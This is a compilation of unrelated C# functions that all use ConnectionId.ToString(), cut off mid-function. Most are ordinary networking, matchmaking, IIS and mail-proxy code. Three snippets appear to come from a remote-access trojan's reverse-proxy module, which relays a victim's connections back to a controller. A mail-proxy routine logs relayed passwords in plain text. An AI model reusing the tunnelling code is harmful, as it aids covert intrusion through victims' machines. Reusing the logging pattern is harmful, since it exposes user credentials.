public void SendMessage(ConnectionId connectionId, byte[] data, int dataOffset, int dataLen, bool isReliable) { if (mNetwork != null && peers.ContainsKey(connectionId.ToString())) { mNetwork.SendData(connectionId, data, dataOffset, dataLen, isReliable); } else if (mNetwork == null) { PrintDebug("Can't send message, network isn't initialized"); } else { PrintDebug("Can't send message, connection id " + connectionId.ToString() + " is not a currently connected peer"); } }
public void AddTags(IRequestSpan span) { span.SetAttribute(InnerRequestSpans.DispatchSpan.Attributes.LocalHostname, ((IPEndPoint)LocalEndPoint).Address.ToString()); span.SetAttribute(InnerRequestSpans.DispatchSpan.Attributes.LocalPort, ((IPEndPoint)LocalEndPoint).Port.ToString()); span.SetAttribute(InnerRequestSpans.DispatchSpan.Attributes.RemoteHostname, ((IPEndPoint)EndPoint).Address.ToString()); span.SetAttribute(InnerRequestSpans.DispatchSpan.Attributes.RemotePort, ((IPEndPoint)EndPoint).Port.ToString()); span.SetAttribute(InnerRequestSpans.DispatchSpan.Attributes.LocalId, ConnectionId.ToString()); }
/// <summary> /// 切断時 /// </summary> /// <returns></returns> protected override ValueTask OnDisconnected() { // 待ち受けのIDからは消す // マッチングから外す roomManager.RemoveFromMatchingRoom(ConnectionId.ToString()); _ = matchingRoom.RemoveAsync(Context); return(CompletedTask); }
private void Handle_Connect(IAsyncResult ar) { try { this.Handle.EndConnect(ar); } catch { } if (this.Handle.Connected) { try { this._buffer = new byte[BUFFER_SIZE]; this.Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null); } catch { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Pac_ket").AsString = "reverseProxy"; msgpack.ForcePathObject("Option").AsString = "ReverseProxyConnectResponse"; msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; msgpack.ForcePathObject("ConnectionId").AsString = ConnectionId.ToString(); msgpack.ForcePathObject("IsConnected").AsString = "false"; msgpack.ForcePathObject("LocalAddress").SetAsBytes(null); msgpack.ForcePathObject("LocalPort").AsString = "0"; msgpack.ForcePathObject("HostName").AsString = Target; Connection.Send(msgpack.Encode2Bytes()); Disconnect(); } IPEndPoint localEndPoint = (IPEndPoint)this.Handle.LocalEndPoint; MsgPack msgpack1 = new MsgPack(); msgpack1.ForcePathObject("Pac_ket").AsString = "reverseProxy"; msgpack1.ForcePathObject("Option").AsString = "ReverseProxyConnectResponse"; msgpack1.ForcePathObject("Hwid").AsString = Connection.Hwid; msgpack1.ForcePathObject("ConnectionId").AsString = ConnectionId.ToString(); msgpack1.ForcePathObject("IsConnected").AsString = "true"; msgpack1.ForcePathObject("LocalAddress").SetAsBytes(localEndPoint.Address.GetAddressBytes()); msgpack1.ForcePathObject("LocalPort").AsString = localEndPoint.Port.ToString(); msgpack1.ForcePathObject("HostName").AsString = Target; Connection.Send(msgpack1.Encode2Bytes()); } else { MsgPack msgpack1 = new MsgPack(); msgpack1.ForcePathObject("Pac_ket").AsString = "reverseProxy"; msgpack1.ForcePathObject("Option").AsString = "ReverseProxyConnectResponse"; msgpack1.ForcePathObject("Hwid").AsString = Connection.Hwid; msgpack1.ForcePathObject("ConnectionId").AsString = ConnectionId.ToString(); msgpack1.ForcePathObject("IsConnected").AsString = "false"; msgpack1.ForcePathObject("LocalAddress").SetAsBytes(null); msgpack1.ForcePathObject("LocalPort").AsString = "0"; msgpack1.ForcePathObject("HostName").AsString = Target; Connection.Send(msgpack1.Encode2Bytes()); } }
public void ToStringTest() { { var connectionId = new ConnectionId() { Value1 = 1, Value2 = 2, Value3 = 3, }; Assert.AreEqual("0000000000000001000000000000000200000003", connectionId.ToString()); } { var connectionId = new ConnectionId() { Value1 = -1, Value2 = -1, Value3 = -1, }; Assert.AreEqual("ffffffffffffffffffffffffffffffffffffffff", connectionId.ToString()); } }
protected override void Compile() { InternalOutgoingMessage.Initialize(5) .AppendString(ConnectionId.ToString(CultureInfo.InvariantCulture)) .AppendString(Username) .AppendString(Figure.ToString()) .AppendString(Figure.GenderChar.ToString(CultureInfo.InvariantCulture)) .AppendString(Motto) .AppendString(UnknownA) .AppendInt32(UnknownB) .AppendString(Figure.FormattedSwimFigure) .AppendInt32(UnknownC) .AppendInt32(UnknownD); }
private void EnsureUplinkPump(TcpClient endpoint, ConnectionId connectionId) { var localDataChannel = new LocalTcpDataChannel(_log, _metrics.Local, connectionId.ToString(), endpoint); var uplinkPump = new UplinkPump(_log, connectionId, localDataChannel, _dataChannel); _uplinkPumps[uplinkPump] = uplinkPump; _downlinkPump?.AddDispatchQueue(connectionId, localDataChannel); _metrics.LocalEstablishedConnections.Increment(); _log.Verbose("ConnectionId {connectionId}. uplink pump is created", connectionId); uplinkPump.RunAsync().ContinueWith(OnUplinkPumpCompleted); }
public async Task <LocalDataChannel> Create(ILogger logger, LocalDataChannelMetrics metrics, ConnectionId connectionId) { var tcpClient = new TcpClient(AddressFamily.InterNetwork) { LingerState = { Enabled = true }, NoDelay = true }; _log.Verbose("Connecting {host}:{port}", _host, _port); await tcpClient.ConnectAsync(_host, _port); _log.Debug("Connected {host}:{port}", _host, _port); return(new LocalTcpDataChannel(logger, metrics.Merge(_tags), connectionId.ToString(), tcpClient)); }
public void ToStringTest() { { var connectionId = new ConnectionId() { Value1 = 1, Value2 = 2, Value3 = 3, }; Assert.AreEqual("0000000000000001000000000000000200000003", connectionId.ToString()); } { var connectionId = new ConnectionId() { Value1 = -1, Value2 = -1, Value3 = -1, }; Assert.AreEqual("ffffffffffffffffffffffffffffffffffffffff", connectionId.ToString()); } }
/// <summary> /// マッチング参加(マッチングはでき次第通知) /// </summary> /// <param name="request"></param> /// <returns></returns> public async Task JoinAsync(MatchingJoinRequest request) { // 待合室に放り込む matchingRoom = await Group.AddAsync("MatchingRoom"); if (request.withOther) { // 誰かとマッチングして対戦 // マッチング処理(今は単純にアクセスしてきた順にマッチングさせる) MatchingRoomManager.Data data = new MatchingRoomManager.Data(ConnectionId, Context); (string, MatchingRoomManager.Data)addResult = roomManager.TryMatching(data); if (!string.IsNullOrEmpty(addResult.Item1)) { // マッチング対象から外す roomManager.RemoveFromMatchingRoom(data.Id); roomManager.RemoveFromMatchingRoom(addResult.Item2.Id); // マッチングした者同士、部屋番号だけ教えるのであとは対戦サーバーにて再集結させる var mineId = ConnectionId.ToString(); var enemyId = addResult.Item2.Guid.ToString(); BroadcastToSelf(matchingRoom).OnMatchingSuccess(new MatchingRequestSuccessResponse { MineId = mineId, EnemeyId = enemyId, RoomName = addResult.Item1 }); BroadcastTo(matchingRoom, addResult.Item2.Guid).OnMatchingSuccess(new MatchingRequestSuccessResponse { MineId = enemyId, EnemeyId = mineId, RoomName = addResult.Item1 }); // マッチングルーム本体から退出させる await matchingRoom.RemoveAsync(addResult.Item2.Context); await matchingRoom.RemoveAsync(Context); } } else { // 1人でネットワーク(スコア更新用) / 特にすることもないので専用の部屋を作ってプレイしてもらう BroadcastToSelf(matchingRoom).OnMatchingSuccess(new MatchingRequestSuccessResponse { MineId = ConnectionId.ToString(), EnemeyId = "", RoomName = roomManager.GenerateRoomId() }); // マッチングルーム本体から退出させる await matchingRoom.RemoveAsync(Context); } }
public async Task SetAsync(TimeSpan interval) { if (_timerLoopTask != null) { throw new InvalidOperationException("The timer has been already started."); } _group = await this.Group.AddAsync(ConnectionId.ToString()); _interval = interval; _timerLoopTask = Task.Run(async() => { while (!_cancellationTokenSource.IsCancellationRequested) { await Task.Delay(_interval, _cancellationTokenSource.Token); var userPrincipal = Context.CallContext.GetHttpContext().User; BroadcastToSelf(_group).OnTick($"UserId={userPrincipal.Claims.First(x => x.Type == ClaimTypes.NameIdentifier).Value}; Name={userPrincipal.Identity?.Name}"); } }); }
public async Task SetAsync(TimeSpan interval) { if (_timerLoopTask != null) { throw new InvalidOperationException("The timer has been already started."); } _group = await this.Group.AddAsync(ConnectionId.ToString()); _interval = interval; _timerLoopTask = Task.Run(async() => { while (!_cancellationTokenSource.IsCancellationRequested) { await Task.Delay(_interval, _cancellationTokenSource.Token); var identity = Context.GetPrincipal().Identity as CustomJwtAuthUserIdentity; BroadcastToSelf(_group).OnTick($"UserId={identity.UserId}; Name={identity.Name}"); } }); }
private void AsyncReceive(IAsyncResult ar) { //Receive here data from e.g. a WebServer try { int received = Handle.EndReceive(ar); if (received <= 0) { Disconnect(); return; } byte[] payload = new byte[received]; Array.Copy(_buffer, payload, received); MsgPack msgpack1 = new MsgPack(); msgpack1.ForcePathObject("Pac_ket").AsString = "reverseProxy"; msgpack1.ForcePathObject("Option").AsString = "ReverseProxyData"; msgpack1.ForcePathObject("Hwid").AsString = Connection.Hwid; msgpack1.ForcePathObject("ConnectionId").AsString = ConnectionId.ToString(); msgpack1.ForcePathObject("Data").SetAsBytes(payload); Connection.Send(msgpack1.Encode2Bytes()); } catch { Disconnect(); return; } try { this.Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null); } catch { Disconnect(); return; } }
public void Disconnect() { if (!_disconnectIsSend) { _disconnectIsSend = true; //send to the Server we've been disconnected MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Pac_ket").AsString = "reverseProxy"; msgpack.ForcePathObject("Option").AsString = "ReverseProxyDisconnect"; msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; msgpack.ForcePathObject("ConnectionId").AsString = ConnectionId.ToString(); Connection.Send(msgpack.Encode2Bytes()); } try { Handle.Close(); } catch { } RemoveProxyClient(this.ConnectionId); }
public MultiplexingConnection(Stream stream, EndPoint localEndPoint, EndPoint remoteEndPoint, ILogger <MultiplexingConnection> logger) { _stream = stream ?? throw new ArgumentNullException(nameof(stream)); LocalEndPoint = localEndPoint ?? throw new ArgumentNullException(nameof(localEndPoint)); EndPoint = remoteEndPoint ?? throw new ArgumentNullException(nameof(remoteEndPoint)); _logger = logger ?? throw new ArgumentNullException(nameof(logger)); ConnectionId = ConnectionIdProvider.GetNextId(); _endPointString = EndPoint.ToString() ?? DiagnosticsReportProvider.UnknownEndpointValue; _localEndPointString = LocalEndPoint.ToString() ?? DiagnosticsReportProvider.UnknownEndpointValue; _connectionIdString = ConnectionId.ToString(CultureInfo.InvariantCulture); _stopwatch = new Stopwatch(); _stopwatch.Start(); // We don't need the execution context to flow to the receive loop using (ExecutionContext.SuppressFlow()) { Task.Run(ReceiveResponsesAsync); } }
public MyPeer(InitRequest initRequest) : base(initRequest) { LBLogger.Info(LogTag, "游戏服务器创建连接 " + ConnectionId.ToString()); LBPeerManager.Instance.AddPeer(ConnectionId, this); }
/// <summary> /// Relay data read from one connection to another. /// </summary> /// <param name="o">A TransmitArguments object containing local and remote server parameters.</param> private async void RelayData(object o) { // Cast the passed-in parameters back to their original objects. TransmitArguments arguments = (TransmitArguments)o; Stream clientStream = arguments.ClientStream; Stream remoteServerStream = arguments.RemoteServerStream; // A byte array to streamline bit shuffling. char[] buffer = new char[Constants.SMALLBUFFERSIZE]; // Placeholder variables to track the current message being transmitted. StringBuilder messageBuilder = new StringBuilder(Constants.SMALLSBSIZE); // The overall number of bytes transmitted on this connection. ulong bytesTransmitted = 0; if (arguments.Credential != null) { UserName = arguments.Credential.UserName; } bool stillReceiving = true; try { using (StreamReader clientStreamReader = new StreamReader(clientStream)) { using (StreamWriter remoteServerStreamWriter = new StreamWriter(remoteServerStream)) { remoteServerStreamWriter.AutoFlush = true; while (Started && stillReceiving) { // Read data from the source and send it to its destination. string stringRead = await clientStreamReader.ReadLineAsync(); if (stringRead != null) { int bytesRead = stringRead.Length; bytesTransmitted += (ulong)bytesRead; messageBuilder.AppendLine(stringRead); // If this data comes from the client, log it. Otherwise, process it. if (arguments.IsClient) { bool messageRelayed = false; string[] commandParts = stringRead.Substring(0, stringRead.Length).Split(new char[] { ' ' }, 2); // Optionally replace credentials with those from our settings file. if (commandParts.Length == 2) { if (commandParts[0] == "USER") { if (arguments.Credential != null) { await remoteServerStreamWriter.WriteLineAsync("USER " + arguments.Credential.UserName); ProxyFunctions.Log(LogWriter, SessionId, arguments.ConnectionId.ToString(), "C: USER " + arguments.Credential.UserName, Proxy.LogLevel.Raw, LogLevel); messageRelayed = true; } else { UserName = commandParts[1]; } } else if (arguments.Credential != null && commandParts[0] == "PASS") { await remoteServerStreamWriter.WriteLineAsync("PASS" + arguments.Credential.Password); ProxyFunctions.Log(LogWriter, SessionId, arguments.ConnectionId.ToString(), "C: PASS " + arguments.Credential.Password, Proxy.LogLevel.Raw, LogLevel); messageRelayed = true; } } if (LogLevel == Proxy.LogLevel.Verbose) { ProxyFunctions.Log(LogWriter, SessionId, arguments.ConnectionId.ToString(), "Command {" + commandParts[0] + "} processed.", Proxy.LogLevel.Verbose, LogLevel); } if (!messageRelayed) { await remoteServerStreamWriter.WriteLineAsync(stringRead); ProxyFunctions.Log(LogWriter, SessionId, arguments.ConnectionId.ToString(), "C: " + stringRead, Proxy.LogLevel.Raw, LogLevel); } } else { await remoteServerStreamWriter.WriteLineAsync(stringRead); ProxyFunctions.Log(LogWriter, SessionId, arguments.ConnectionId.ToString(), "S: " + stringRead, Proxy.LogLevel.Raw, LogLevel); // If we see a period between two linebreaks, treat it as the end of a message. if (stringRead == ".") { string message = messageBuilder.ToString(); int endPos = message.IndexOf("\r\n.\r\n"); if (message.Contains("\r\n\r\n")) { int lastOkPos = message.LastIndexOf("+OK", endPos); if (lastOkPos > -1) { message = message.Substring(message.IndexOf("\r\n", lastOkPos) + 2); if (message.IndexOf("application/x-pkcs7-signature") > -1 || message.IndexOf("application/pkcs7-mime") > -1 || !string.IsNullOrEmpty(arguments.ExportDirectory)) { Thread processThread = new Thread(new ParameterizedThreadStart(ProcessMessage)); processThread.Name = "OpaqueMail POP3 Proxy Signature Processor"; ProcessMessageArguments processMessageArguments = new ProcessMessageArguments(); processMessageArguments.MessageText = message.Substring(0, message.Length - 5); processMessageArguments.ConnectionId = ConnectionId.ToString(); processMessageArguments.ExportDirectory = arguments.ExportDirectory; processMessageArguments.InstanceId = arguments.InstanceId; processMessageArguments.DebugMode = arguments.DebugMode; processMessageArguments.UserName = UserName; processThread.Start(processMessageArguments); } messageBuilder.Remove(0, endPos + 5); } } messageBuilder.Clear(); } } } else { stillReceiving = false; } } } } } catch (IOException) { // Ignore either stream being closed. } catch (ObjectDisposedException) { // Ignore either stream being closed. } catch (Exception ex) { // Log other exceptions. if (arguments.DebugMode || System.Diagnostics.Debugger.IsAttached) { ProxyFunctions.Log(LogWriter, SessionId, arguments.ConnectionId, "Exception while transmitting data: " + ex.ToString(), Proxy.LogLevel.Error, LogLevel); } else { ProxyFunctions.Log(LogWriter, SessionId, arguments.ConnectionId, "Exception while transmitting data: " + ex.Message, Proxy.LogLevel.Error, LogLevel); } } finally { // If sending to the local client, log the connection being closed. if (!arguments.IsClient) { ProxyFunctions.Log(LogWriter, SessionId, arguments.ConnectionId, "Connection from {" + arguments.IPAddress + "} closed after transmitting {" + bytesTransmitted.ToString("N0") + "} bytes.", Proxy.LogLevel.Information, LogLevel); } if (clientStream != null) { clientStream.Dispose(); } if (remoteServerStream != null) { remoteServerStream.Dispose(); } } }
/// <summary> /// Handle an incoming POP3 connection, from connection to completion. /// </summary> /// <param name="parameters">Pop3ProxyConnectionArguments object containing all parameters for this connection.</param> private void ProcessConnection(object parameters) { // Cast the passed-in parameters back to their original objects. Pop3ProxyConnectionArguments arguments = (Pop3ProxyConnectionArguments)parameters; try { TcpClient client = arguments.TcpClient; Stream clientStream = client.GetStream(); // Capture the client's IP information. PropertyInfo pi = clientStream.GetType().GetProperty("Socket", BindingFlags.NonPublic | BindingFlags.Instance); string ip = ((Socket)pi.GetValue(clientStream, null)).RemoteEndPoint.ToString(); if (ip.IndexOf(":") > -1) { ip = ip.Substring(0, ip.IndexOf(":")); } // If the IP address range filter contains the localhost entry 0.0.0.0, check if the client IP is a local address and update it to 0.0.0.0 if so. if (arguments.AcceptedIPs.IndexOf("0.0.0.0") > -1) { if (ip == "127.0.0.1") { ip = "0.0.0.0"; } else { IPHostEntry hostEntry = Dns.GetHostEntry(Dns.GetHostName()); foreach (IPAddress hostIP in hostEntry.AddressList) { if (hostIP.ToString() == ip) { ip = "0.0.0.0"; break; } } } } // Validate that the IP address is within an accepted range. if (!ProxyFunctions.ValidateIP(arguments.AcceptedIPs, ip)) { ProxyFunctions.Log(LogWriter, SessionId, arguments.ConnectionId, "Connection rejected from {" + ip + "} due to its IP address.", Proxy.LogLevel.Warning, LogLevel); Functions.SendStreamString(clientStream, new byte[Constants.SMALLBUFFERSIZE], "500 IP address [" + ip + "] rejected.\r\n"); if (clientStream != null) { clientStream.Dispose(); } if (client != null) { client.Close(); } return; } ProxyFunctions.Log(LogWriter, SessionId, arguments.ConnectionId, "New connection established from {" + ip + "}.", Proxy.LogLevel.Information, LogLevel); // If supported, upgrade the session's security through a TLS handshake. if (arguments.LocalEnableSsl) { ProxyFunctions.Log(LogWriter, SessionId, arguments.ConnectionId, "Starting local TLS/SSL protection for {" + ip + "}.", Proxy.LogLevel.Information, LogLevel); clientStream = new SslStream(clientStream); ((SslStream)clientStream).AuthenticateAsServer(arguments.Certificate); } // Connect to the remote server. TcpClient remoteServerClient = new TcpClient(arguments.RemoteServerHostName, arguments.RemoteServerPort); Stream remoteServerStream = remoteServerClient.GetStream(); // If supported, upgrade the session's security through a TLS handshake. if (arguments.RemoteServerEnableSsl) { ProxyFunctions.Log(LogWriter, SessionId, arguments.ConnectionId, "Starting remote TLS/SSL protection with {" + arguments.RemoteServerHostName + "}.", Proxy.LogLevel.Information, LogLevel); remoteServerStream = new SslStream(remoteServerStream); ((SslStream)remoteServerStream).AuthenticateAsClient(arguments.RemoteServerHostName); } // Relay server data to the client. TransmitArguments remoteServerToClientArguments = new TransmitArguments(); remoteServerToClientArguments.ClientStream = remoteServerStream; remoteServerToClientArguments.RemoteServerStream = clientStream; remoteServerToClientArguments.IsClient = false; remoteServerToClientArguments.ConnectionId = ConnectionId.ToString(); remoteServerToClientArguments.InstanceId = arguments.InstanceId; remoteServerToClientArguments.DebugMode = arguments.DebugMode; remoteServerToClientArguments.IPAddress = ip; remoteServerToClientArguments.ExportDirectory = arguments.ExportDirectory; Thread remoteServerToClientThread = new Thread(new ParameterizedThreadStart(RelayData)); remoteServerToClientThread.Name = "OpaqueMail POP3 Proxy Server to Client"; remoteServerToClientThread.Start(remoteServerToClientArguments); // Relay client data to the remote server. TransmitArguments clientToRemoteServerArguments = new TransmitArguments(); clientToRemoteServerArguments.ClientStream = clientStream; clientToRemoteServerArguments.RemoteServerStream = remoteServerStream; clientToRemoteServerArguments.IsClient = true; clientToRemoteServerArguments.ConnectionId = ConnectionId.ToString(); clientToRemoteServerArguments.InstanceId = arguments.InstanceId; clientToRemoteServerArguments.DebugMode = arguments.DebugMode; clientToRemoteServerArguments.IPAddress = ip; clientToRemoteServerArguments.Credential = arguments.RemoteServerCredential; Thread clientToRemoteServerThread = new Thread(new ParameterizedThreadStart(RelayData)); clientToRemoteServerThread.Name = "OpaqueMail POP3 Proxy Client to Server"; clientToRemoteServerThread.Start(clientToRemoteServerArguments); } catch (SocketException ex) { if (arguments.DebugMode || System.Diagnostics.Debugger.IsAttached) { ProxyFunctions.Log(LogWriter, SessionId, "Exception communicating with {" + arguments.RemoteServerHostName + "} on port {" + arguments.RemoteServerPort + "}: " + ex.ToString(), Proxy.LogLevel.Error, LogLevel); } else { ProxyFunctions.Log(LogWriter, SessionId, "Exception communicating with {" + arguments.RemoteServerHostName + "} on port {" + arguments.RemoteServerPort + "}: " + ex.Message, Proxy.LogLevel.Error, LogLevel); } } catch (Exception ex) { if (arguments.DebugMode || System.Diagnostics.Debugger.IsAttached) { ProxyFunctions.Log(LogWriter, SessionId, "Exception: " + ex.ToString(), Proxy.LogLevel.Error, LogLevel); } else { ProxyFunctions.Log(LogWriter, SessionId, "Exception: " + ex.Message, Proxy.LogLevel.Error, LogLevel); } } }
/// <summary> /// Relay data read from one connection to another. /// </summary> /// <param name="o">A TransmitArguments object containing local and remote server parameters.</param> private async void RelayData(object o) { // Cast the passed-in parameters back to their original objects. TransmitArguments arguments = (TransmitArguments)o; Stream clientStream = arguments.ClientStream; Stream remoteServerStream = arguments.RemoteServerStream; // A byte array to streamline bit shuffling. char[] buffer = new char[Constants.SMALLBUFFERSIZE]; // Placeholder variables to track the current message being transmitted. bool inMessage = false; int messageLength = 0; StringBuilder messageBuilder = new StringBuilder(Constants.SMALLSBSIZE); // The overall number of bytes transmitted on this connection. ulong bytesTransmitted = 0; // When a "[THROTTLED]" notice was last received. DateTime lastThrottleTime = new DateTime(1900, 1, 1); if (arguments.Credential != null) { UserName = arguments.Credential.UserName; } bool stillReceiving = true; try { using (StreamReader clientStreamReader = new StreamReader(clientStream)) { using (StreamWriter remoteServerStreamWriter = new StreamWriter(remoteServerStream)) { remoteServerStreamWriter.AutoFlush = true; while (Started && stillReceiving) { // Read data from the source and send it to its destination. string stringRead = await clientStreamReader.ReadLineAsync(); if (stringRead != null) { int bytesRead = stringRead.Length; bytesTransmitted += (ulong)bytesRead; // If this data comes from the client, log it. Otherwise, process it. if (arguments.IsClient) { bool messageRelayed = false; string[] commandParts = stringRead.Split(new char[] { ' ' }, 4); if (commandParts.Length > 1) { // Optionally, transform the login details. if (commandParts[1] == "LOGIN" && commandParts.Length == 4) { messageRelayed = TransformLogin(remoteServerStreamWriter, stringRead, arguments, ref UserName); } else { ProxyFunctions.Log(LogWriter, SessionId, arguments.ConnectionId.ToString(), "C: " + stringRead, Proxy.LogLevel.Raw, LogLevel); } // Remember the previous command. if (commandParts[1].ToUpper() == "UID" && commandParts.Length > 2) { LastCommandReceived = (commandParts[1] + " " + commandParts[2]).ToUpper(); } else { LastCommandReceived = commandParts[1].ToUpper(); } // Stop after a logout order is received. if (LastCommandReceived == "LOGOUT") { stillReceiving = false; } if (LogLevel == Proxy.LogLevel.Verbose) { switch (LastCommandReceived) { case "APPEND": case "AUTHENTICATE": case "CAPABILITY": case "CHECK": case "CLOSE": case "COPY": case "CREATE": case "DELETE": case "ENABLE": case "EXAMINE": case "EXPUNGE": case "FETCH": case "GETQUOTA": case "GETQUOTAROOT": case "LIST": case "LOGIN": case "LOGOUT": case "LSUB": case "MOVE": case "NOOP": case "NOTIFY": case "RENAME": case "SEARCH": case "SELECT": case "SETQUOTA": case "STATUS": case "STORE": case "SUBSCRIBE": case "UID COPY": case "UID FETCH": case "UID SEARCH": case "UID STORE": case "UNSUBSCRIBE": case "XLIST": ProxyFunctions.Log(LogWriter, SessionId, arguments.ConnectionId.ToString(), "Command {" + LastCommandReceived + "} processed.", Proxy.LogLevel.Verbose, LogLevel); break; } } } // If the command wasn't processed, send the raw command. if (!messageRelayed) { await remoteServerStreamWriter.WriteLineAsync(stringRead); } } else { // If we're currently receiving a message, check to see if it's completed. if (inMessage) { messageBuilder.AppendLine(stringRead); if (messageBuilder.Length >= messageLength) { // If the message has been completed and it contains a signature, process it. string message = messageBuilder.ToString(0, messageLength); if (message.IndexOf("application/x-pkcs7-signature") > -1 || message.IndexOf("application/pkcs7-mime") > -1 || !string.IsNullOrEmpty(arguments.ExportDirectory)) { Thread processThread = new Thread(new ParameterizedThreadStart(ProcessMessage)); processThread.Name = "OpaqueMail IMAP Proxy Signature Processor"; ProcessMessageArguments processMessageArguments = new ProcessMessageArguments(); processMessageArguments.MessageText = message; processMessageArguments.ConnectionId = ConnectionId.ToString(); processMessageArguments.ExportDirectory = arguments.ExportDirectory; processMessageArguments.InstanceId = arguments.InstanceId; processMessageArguments.DebugMode = arguments.DebugMode; processMessageArguments.UserName = UserName; processThread.Start(processMessageArguments); } // We're no longer receiving a message, so continue. inMessage = false; messageBuilder.Clear(); } } else { // Disallow proxy stream compression. if (stringRead.StartsWith("* CAPABILITY")) { stringRead = stringRead.Replace(" COMPRESS=DEFLATE", ""); } // Check for IMAP meta flags. string betweenBraces = Functions.ReturnBetween(stringRead, "[", "]"); switch (betweenBraces) { case "CLIENTBUG": case "CORRUPTION": case "OVERQUOTA": case "SERVERBUG": case "UNAVAILABLE": ProxyFunctions.Log(LogWriter, SessionId, ConnectionId.ToString(), stringRead.Substring(stringRead.IndexOf("[")), Proxy.LogLevel.Warning, LogLevel); break; case "THROTTLED": if (DateTime.Now - lastThrottleTime >= new TimeSpan(0, 20, 0)) { ProxyFunctions.Log(LogWriter, SessionId, ConnectionId.ToString(), "Connection speed throttled by the remote server.", Proxy.LogLevel.Warning, LogLevel); lastThrottleTime = DateTime.Now; } break; } // Messages are denoted by FETCH headers with their lengths in curly braces. if (stringRead.ToUpper().Contains(" FETCH ")) { int openBrace = stringRead.IndexOf("{"); if (openBrace > -1) { int closeBrace = stringRead.IndexOf("}", openBrace); if (closeBrace > -1) { // Only proceed if we can parse the size of the message. if (int.TryParse(stringRead.Substring(openBrace + 1, closeBrace - openBrace - 1), out messageLength)) { inMessage = true; } } } } } await remoteServerStreamWriter.WriteLineAsync(stringRead); ProxyFunctions.Log(LogWriter, SessionId, arguments.ConnectionId.ToString(), "S: " + stringRead, Proxy.LogLevel.Raw, LogLevel); } } else { stillReceiving = false; } } } } } catch (IOException) { // Ignore either stream being closed. } catch (ObjectDisposedException) { // Ignore either stream being closed. } catch (Exception ex) { // Log other exceptions. if (arguments.DebugMode || System.Diagnostics.Debugger.IsAttached) { ProxyFunctions.Log(LogWriter, SessionId, arguments.ConnectionId, "Exception while transmitting data: " + ex.ToString(), Proxy.LogLevel.Error, LogLevel); } else { ProxyFunctions.Log(LogWriter, SessionId, arguments.ConnectionId, "Exception while transmitting data: " + ex.Message, Proxy.LogLevel.Error, LogLevel); } } finally { // If sending to the local client, log the connection being closed. if (!arguments.IsClient) { ProxyFunctions.Log(LogWriter, SessionId, arguments.ConnectionId, "Connection from {" + arguments.IPAddress + "} closed after transmitting {" + bytesTransmitted.ToString("N0") + "} bytes.", Proxy.LogLevel.Information, LogLevel); } if (clientStream != null) { clientStream.Dispose(); } if (remoteServerStream != null) { remoteServerStream.Dispose(); } } }
internal unsafe IISHttpContext(MemoryPool <byte> memoryPool, IntPtr pInProcessHandler, IISOptions options) : base((HttpApiTypes.HTTP_REQUEST *)NativeMethods.http_get_raw_request(pInProcessHandler)) { _thisHandle = GCHandle.Alloc(this); _memoryPool = memoryPool; _pInProcessHandler = pInProcessHandler; NativeMethods.http_set_managed_context(pInProcessHandler, (IntPtr)_thisHandle); unsafe { Method = GetVerb(); RawTarget = GetRawUrl(); // TODO version is slow. HttpVersion = GetVersion(); Scheme = SslStatus != SslStatus.Insecure ? Constants.HttpsScheme : Constants.HttpScheme; KnownMethod = VerbId; var originalPath = RequestUriBuilder.DecodeAndUnescapePath(GetRawUrlInBytes()); if (KnownMethod == HttpApiTypes.HTTP_VERB.HttpVerbOPTIONS && string.Equals(RawTarget, "*", StringComparison.Ordinal)) { PathBase = string.Empty; Path = string.Empty; } else { // Path and pathbase are unescaped by RequestUriBuilder // The UsePathBase middleware will modify the pathbase and path correctly PathBase = string.Empty; Path = originalPath; } var cookedUrl = GetCookedUrl(); QueryString = cookedUrl.GetQueryString() ?? string.Empty; // TODO: Avoid using long.ToString, it's pretty slow RequestConnectionId = ConnectionId.ToString(CultureInfo.InvariantCulture); // Copied from WebListener // This is the base GUID used by HTTP.SYS for generating the activity ID. // HTTP.SYS overwrites the first 8 bytes of the base GUID with RequestId to generate ETW activity ID. // The requestId should be set by the NativeRequestContext var guid = new Guid(0xffcb4c93, 0xa57f, 0x453c, 0xb6, 0x3f, 0x84, 0x71, 0xc, 0x79, 0x67, 0xbb); *((ulong *)&guid) = RequestId; // TODO: Also make this not slow TraceIdentifier = guid.ToString(); var localEndPoint = GetLocalEndPoint(); LocalIpAddress = localEndPoint.GetIPAddress(); LocalPort = localEndPoint.GetPort(); var remoteEndPoint = GetRemoteEndPoint(); RemoteIpAddress = remoteEndPoint.GetIPAddress(); RemotePort = remoteEndPoint.GetPort(); StatusCode = 200; RequestHeaders = new RequestHeaders(this); HttpResponseHeaders = new HeaderCollection(); // TODO Optimize for known headers ResponseHeaders = HttpResponseHeaders; if (options.ForwardWindowsAuthentication) { WindowsUser = GetWindowsPrincipal(); if (options.AutomaticAuthentication) { User = WindowsUser; } } ResetFeatureCollection(); } RequestBody = new IISHttpRequestBody(this); ResponseBody = new IISHttpResponseBody(this); Input = new Pipe(new PipeOptions(_memoryPool, readerScheduler: PipeScheduler.ThreadPool)); var pipe = new Pipe(new PipeOptions(_memoryPool, readerScheduler: PipeScheduler.ThreadPool)); Output = new OutputProducer(pipe); }
void Client_OnConnection(ConnectionId connectionId) { Debug.Log("Peer: " + connectionId.ToString() + " connected"); }
internal unsafe HttpProtocol(PipeFactory pipeFactory, IntPtr pHttpContext) : base((HttpApiTypes.HTTP_REQUEST *)NativeMethods.http_get_raw_request(pHttpContext)) { _thisHandle = GCHandle.Alloc(this); _pipeFactory = pipeFactory; _pHttpContext = pHttpContext; unsafe { Method = GetVerb(); RawTarget = GetRawUrl(); // TODO version is slow. HttpVersion = GetVersion(); Scheme = SslStatus != SslStatus.Insecure ? Constants.HttpsScheme : Constants.HttpScheme; KnownMethod = VerbId; var originalPath = RequestUriBuilder.DecodeAndUnescapePath(GetRawUrlInBytes()); // TODO: Read this from IIS config // See https://github.com/aspnet/IISIntegration/issues/427 var prefix = "/"; if (KnownMethod == HttpApiTypes.HTTP_VERB.HttpVerbOPTIONS && string.Equals(RawTarget, "*", StringComparison.Ordinal)) { PathBase = string.Empty; Path = string.Empty; } // These paths are both unescaped already. else if (originalPath.Length == prefix.Length - 1) { // They matched exactly except for the trailing slash. PathBase = originalPath; Path = string.Empty; } else { // url: /base/path, prefix: /base/, base: /base, path: /path // url: /, prefix: /, base: , path: / PathBase = originalPath.Substring(0, prefix.Length - 1); Path = 